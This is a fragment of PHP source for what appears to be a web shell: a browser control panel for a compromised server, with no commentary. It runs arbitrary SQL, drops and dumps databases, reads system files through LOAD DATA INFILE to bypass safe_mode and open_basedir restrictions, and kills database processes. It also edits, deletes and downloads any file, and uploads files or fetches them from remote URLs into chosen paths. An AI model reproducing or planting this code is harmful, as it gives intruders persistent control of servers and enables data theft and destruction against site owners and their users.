`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
  elseif ($sql_tbl_x == "insert") {
if ($sql_tbl_insert_radio == 1) {
  $keys = "";
  $akeys = array_keys($sql_tbl_insert);
  foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  $values = "";
  $i = 0;
  foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  $sql_x = "query";
  $sql_tbl_x = "browse";
}
elseif ($sql_tbl_insert_radio == 2) {
  $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  $result = mysql_query($sql_query) or print(mysql_smarterror());
  $result = mysql_fetch_array($result, MYSQL_ASSOC);
  $sql_x = "query";
  $sql_tbl_x = "browse";
}
  }
  if ($sql_x == "query") {
echo "<hr size=\"1\" noshade>";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) { echo "<table class='tab'><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>"; }
  }
  if (in_array($sql_x,$xs)) {
echo '<table class="tab">
<tr>
<td style="border:1px solid #333333;padding:3px;">
<b>Create new table:</b>
<form action="'.$surl.'">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newtbl">
<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
<input type="text" name="sql_newtbl" size="20">
Fields: <input type="text" name="sql_field" size="3">
<input class="inputzbut" type="submit" value="Create">
</form>
</td>
<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
<form action="'.$surl.'">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="dump">
<input type="hidden" name="sql_db" value="'.htmlspecialchars($sql_db).'">
<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
<input type="text" name="dump_file" size="30" value="dump_'.getenv("SERVER_NAME").'_'.$sql_db.'_'.date("d-m-Y-H-i-s").'.sql">
<input type="submit" class="inputzbut" name="submit" value="Dump">
</form>
</td>
</tr>
</table>';
if (!empty($sql_x)) { echo "<hr size=\"1\" noshade>"; }
if ($sql_x == "newtbl") {
  echo "<b>";
  if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  }
  else { echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror(); }
}
elseif ($sql_x == "dump") {
  if (empty($submit)) {
$diplay = FALSE;
echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
$v = join (";",$dmptbls);
echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
echo "</form>";
  }
  else {
$diplay = TRUE; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0;
$set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = TRUE; $set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download) {
  @ob_clean();
  header("Content-type: application/octet-stream");
  header("Content-length: ".strlen($ret));
  header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  echo $ret;
  exit;
}
elseif ($sql_dump_savetofile) {
  $fp = fopen($sql_dump_file,"w");
  if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  else {
fwrite($fp,$ret);
fclose($fp);
echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  }
}
else {echo "<b>Dump: nothing to do!</b>";}
  }
}
if ($diplay) {
  if (!empty($sql_tbl)) {
  if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
  $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  $count_row = mysql_fetch_array($count);
  mysql_free_result($count);
  $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  if (@$sql_ls > @$sql_le) { $sql_le = $sql_ls + $perpage; }
  if (empty($sql_tbl_page)) { $sql_tbl_page = 0; }
  if (empty($sql_tbl_ls)) { $sql_tbl_ls = 0; }
  if (empty($sql_tbl_le)) { $sql_tbl_le = 30; }
  $perpage = $sql_tbl_le - $sql_tbl_ls;
  if (!is_numeric($perpage)) { $perpage = 10; }
  $numpages = $count_row[0]/$perpage;
  $e = explode(" ",$sql_order);
  if (count($e) == 2) {
if ($e[0] == "d") { $asc_desc = "DESC"; }
else { $asc_desc = "ASC"; }
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  }
  else {$v = "";}
  $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  $result = mysql_query($query) or print(mysql_smarterror());
  echo "<center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  echo "<hr size=\"1\" noshade>";
  echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a> &nbsp; ";
  echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a> &nbsp; ";
  echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> &nbsp; ";
  echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a> &nbsp; ";
  if ($sql_tbl_x == "structure") { echo "<b>Under construction!</b>"; }
  if ($sql_tbl_x == "insert") {
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
else {
  echo "<br><br><b>Inserting row into table:</b><br>";
  if (!empty($sql_tbl_insert_q)) {
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
  }
  else {$values = array();}
  echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
  foreach ($tbl_struct_fields as $field) {
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
  }
  echo "</table><br>";
  echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
}
  }
  if ($sql_tbl_x == "browse") {
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
echo "<b>Page: </b>";
$b = 0;
for($i=0;$i<$numpages;$i++) {
  if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  echo $i;
  if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  else { echo " "; }
}
if ($i == 0) {echo "empty";}
echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\">
";
echo "<table class='tub'><tr>";
echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
for ($i=0;$i<mysql_num_fields($result);$i++) {
  $v = mysql_field_name($result,$i);
  if ($e[0] == "a") {$s = "d"; $m = "asc";}
  else {$s = "a"; $m = "desc";}
  echo "<th>";
  if (empty($e[0])) {$e[0] = "a";}
  if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
  echo "</th>";
}
echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  echo "<tr>";
  $w = "";
  $i = 0;
  foreach ($row as $k=>$v) {
$name = mysql_field_name($result,$i);
$w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
  }
  if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
  echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  $i = 0;
  foreach ($row as $k=>$v) {
$v = htmlspecialchars($v);
if ($v == "") { $v = "<font color=\"#00FF00\">NULL</font>"; }
echo "<td>".$v."</td>";
$i++;
  }
  echo "<td>";
  echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a>";
  echo "&nbsp;|&nbsp;";
  echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
  echo "</td>";
  echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
}
 }
 else {
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) { echo mysql_smarterror(); }
else {
echo '<form method="POST">
<table class="tub">
<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
 $i = 0;
 $tsize = $trows = 0;
 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo'<tr>
<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="'.$row["Name"].'"></td>
<td><a href="'.$sql_surl.'sql_tbl='.urlencode($row["Name"]).'"><b>'.$row["Name"].'</b></a></td>
<td>'.$row["Rows"].'</td><td>'.$row["Engine"].'</td><td>'.$row["Create_time"].'</td><td>'.$row["Update_time"].'</td><td>'.$size.'</td>
<td><a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DELETE FROM `".$row["Name"]."`").'">Empty</a>&nbsp;|&nbsp;<a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DROP TABLE `".$row["Name"]."`").'">Drop</a>&nbsp;|&nbsp;<a href="'.$sql_surl.'sql_tbl_x=insert&sql_tbl='.$row["Name"].'">Insert</a></td>
</tr>';
$i++;
 }
 echo "		<tr>
".
"		<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>
";
echo'</tr>
</table>
<div align="right">
<select class="inputz" name="sql_x">
<option value="">With selected:</option>
<option value="tbldrop">Drop</option>
<option value="tblempty">Empty</option>";
<option value="tbldump">Dump</option>";
<option value="tblcheck">Check table</option>";
<option value="tbloptimize">Optimize table</option>";
<option value="tblrepair">Repair table</option>";
<option value="tblanalyze">Analyze table</option>";
</select>
<input class="inputzbut" type="submit" value="Confirm">
</div>
</form>';
 mysql_free_result($result);
}
 }
}
 }
}
else {
$xs = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_x,$xs)) {
echo '<table class="tab">
<tr>
<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
<form action="'.$surl.'">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newdb">
<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
<input class="inputz" type="text" name="sql_newdb" size="20">
<input class="inputzbut"  type="submit" value="Create">
</form>
</td>
<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
<form action="'.$surl.'">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="getfile">
<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
<input class="inputz" type="text" name="sql_getfile" size="30" value="'.htmlspecialchars($sql_getfile).'">
<input class="inputzbut" type="submit" value="Get">
</form>
</td>
</tr>
</table>';
}
if (!empty($sql_x)) {
 echo "<hr size=\"1\" noshade>";
 if ($sql_x == "newdb") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
 }
 if ($sql_x == "serverstatus") {
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server status variables:</b><br><br>";
echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
 }
 if ($sql_x == "servervars") {
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
 }
 if ($sql_x == "processes") {
if (!empty($kill)) {
 $query = "KILL ".$kill.";";
 $result = mysql_query($query, $sql_sock);
 echo "<b>Process #".$kill." was killed.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
 }
 if ($sql_x == "getfile") {
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select) {
 $created = FALSE;
 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
 $result = mysql_query("SELECT * FROM tmp_file;");
 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
 else {
for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("
",$row); }
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
 }
}
mysql_drop_db($tmpdb);
 }
}
 }
}
echo '</td></tr>';
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
  echo "	<tr><th colspan=2>Affected rows: $affected</th></tr>";
}
echo '</table></center>';
  }
echo '</form>';
}
}
//*--------------------------------[ batas ]--------------------------------*//


elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ini_set('output_buffering',0); 
	@ob_start();
	eval("phpinfo();");
	$buff = @ob_get_contents();
	@ob_end_clean();	
	$awal = strpos($buff,"<body>")+6;
	$akhir = strpos($buff,"</body>");
	echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  if(is_file($_GET['view'])){ 
	if(!isset($file)) $file = magicboom($_GET['view']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
	</form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">Rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">Delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">Download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">GZip</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">Text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">Code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">Image</a></td></tr>
	</table>
	";
	if(isset($_GET['type']) && ($_GET['type']=='image')){
		echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET['type']) && ($_GET['type']=='code')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET['view'])){
		echo showdir($pwd,$prompt);
  }
	
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){@ini_set('output_buffering',0); 

		if(isset($_POST['save'])){
			$file = $_POST['saveas'];
			$content = magicboom($_POST['content']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "failed to save";
				@fclose($filez);
			}
			else $msg = "permission denied";
		}
		if(!isset($file)) $file = $_GET['edit'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("''","'",fgets($filez)));
			}
			@fclose($filez);
		}
	
?>
<form action="?y=<?=$pwd; ?>&amp;edit=<?=$file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?=$content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?=$file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?=$msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{	
?>
<form action="?y=<?=$pwd; ?>&amp;x=logout" method="post">

<?php
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 
    echo "<br /><br /><center>Byee !!!!!!</center>"; 
}

//////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ @ini_set('output_buffering',0); 
echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>Uploader</font></b></center></td></tr></table>
";
if(isset($_POST['uploadcomp'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){@ini_set('output_buffering',0); 
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$path = magicboom($_POST['path']);
	$namafile = download($pilihan,$wurl);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "file uploaded to $pindah";
	}
	else $msg = "failed to upload $namafile";

}
?>
<form action="?y=<?=$pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post"><table class="tabnet" style="width:320px;padding:0 1px;"><tr><th colspan="2"><b>Upload From Computer</b></th></tr><tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
